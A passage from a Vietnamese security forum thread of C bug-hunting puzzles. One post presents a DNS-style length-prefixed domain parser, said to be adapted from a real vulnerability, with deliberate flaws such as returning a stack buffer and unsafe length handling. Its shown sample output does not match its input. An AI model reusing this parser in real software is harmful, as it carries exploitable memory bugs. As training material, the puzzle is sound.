@choc_: thì mình chép lại mà smilie
Trình độ còn gà nên chỉ chép lại chứ chưa phân tích dc như nbthanh smilie)
Mọi người cứ chơi tiếp đi . Bye bye smilie
[Up] [Print Copy]
  [Question]   Re: giúp mình tìm lỗi mấy chương trình C này với 27/02/2009 00:05:09 (+0700) | #28 | 171120
twilight
Member

[Minus]    0    [Plus]
Joined: 02/01/2009 16:42:02
Messages: 7
Offline
[Profile] [PM]
lolz, ức chế wóa smilie
/hvaonline/jforum.html?module=moderation&action=moreWarn&topic_id=28554&post_id=176059&uid=1706&warned_by=gamma95&token=500c87b4ef34e1df6321d349dd21f273
[Up] [Print Copy]
  [Question]   Re: giúp mình tìm lỗi mấy chương trình C này với 27/02/2009 00:28:27 (+0700) | #29 | 171124
lamer
Elite Member

[Minus]    0    [Plus]
Joined: 26/02/2008 13:28:49
Messages: 215
Offline
[Profile] [PM]
À, thì ra là vậy. Hay thật.
[Up] [Print Copy]
  [Question]   Re: giúp mình tìm lỗi mấy chương trình C này với 27/02/2009 15:47:50 (+0700) | #30 | 171253
choc_
Member

[Minus]    0    [Plus]
Joined: 27/01/2009 06:46:01
Messages: 122
Offline
[Profile] [PM]
Bài 7: xử lý Pascal string dạng như 9hvaonline3net0 (đây là dạng DNS domain name trong DNS packet, bài này ông thầy mình nói là sửa lại từ một real world vuln).

Để chạy thử theo đúng ý đồ của chương trình, các bạn phải nhập vào một Pascal string có dạng như sau: mỗi phần trong domain name sẽ được bắt đầu bằng một byte đánh dấu độ dài của nó; domain name kết thúc khi gặp một phần có độ dài là 0. Ví dụ như domain vnhacker.org thì các bạn phải nhập như sau:


./puzzle7 "`python -c 'print "\x08" + "vnhacker" + "\x03" + "org" + "\x00"'`"
your domain is: vinagame.com
 


Nói cách khác, để chỉ ra lỗi bài này, trước tiên các bạn phải giả sử là domain name nhập vào chắc chắn phải theo format này, tự vì các bạn nhập khác đi, chương trình nó sẽ chạy bị lỗi.

Code:
#include <stdlib.h>
#include <stdio.h>

#define MAX_LEN 256

char* get_domain(char* input) {
   int c;
   char name[MAX_LEN];
   memset(name, '\0', sizeof(name));
   c = (char)*input;
   while (c) {
      if ( strlen(name) + c < (MAX_LEN - 1) ) {
          (char *)input++;
          strncat(name, (char *)input, c);
          input += c;          
          c = (char)*input;
          strcat(name, ".");
      } else {
          fprintf(stderr, "something wrong happened!\n");
          c = 0;
      }
   }
   name[strlen(name)-1] = '\0';
   return name;
}

int main(int argc, char **argv) {
   if (argc != 2) 
      exit(0);   
   char* domain = (char *) get_domain(argv[1]);
   printf("your domain is: %s\n", domain);
   return 0;
}
[Up] [Print Copy]
[digg] [delicious] [google] [yahoo] [technorati] [reddit] [stumbleupon]
Go to: 
 Users currently in here 
1 Anonymous

Powered by JForum - Extended by HVAOnline
 hvaonline.net  |  hvaforum.net  |  hvazone.net  |  hvanews.net  |  vnhacker.org
1999 - 2013 © v2012|0504|218|